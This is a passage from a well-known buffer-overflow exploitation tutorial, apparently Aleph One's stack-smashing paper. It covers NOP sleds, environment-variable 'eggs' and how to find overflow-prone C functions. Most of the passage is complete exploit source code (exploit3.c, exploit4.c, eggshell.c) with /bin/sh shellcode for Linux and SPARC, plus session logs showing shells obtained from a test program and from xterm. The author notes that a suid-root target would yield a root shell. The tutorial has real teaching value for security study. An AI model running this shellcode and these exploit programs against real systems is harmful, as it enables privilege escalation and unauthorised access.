advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses. If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack The new exploits is then: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit: ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Whoa! First try! This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/sh ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/shHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHH HHHHH HHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHH HHHHH HHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHH HHHH HHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHH HHHH HHHHHHHHHHHH Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/shTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTT TTTTT TTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTT TTTTT TTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTT TTTT TTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTT TTTT TTTTTTTTTTTT Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka! Less than a dozen tries and we found the magic numbers. If xterm where installed suid root this would now be a root shell. Small Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~ There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule. To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables. What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want. The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated elsewhere. The stack at the beginning then looks like this: NULLNULL Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this: exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Lets try our new exploit with our vulnerable test program: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Works like a charm. Now lets try it on xterm: ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name " Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ On the first try! It has certainly increased our odds. Depending how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be to low or to high. Experiment both with positive and negative offsets. Finding Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~ As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. Since C does not have any built-in bounds checking, overflows often manifest themselves as writing past the end of a character array. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non-white-space characters (%s), or matching a non-empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow. Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited. To conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many comercial operating systems utilities where derived from the same sources as the free ones. Use the source d00d. Appendix A - Shellcode for Different Operating Systems/Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------
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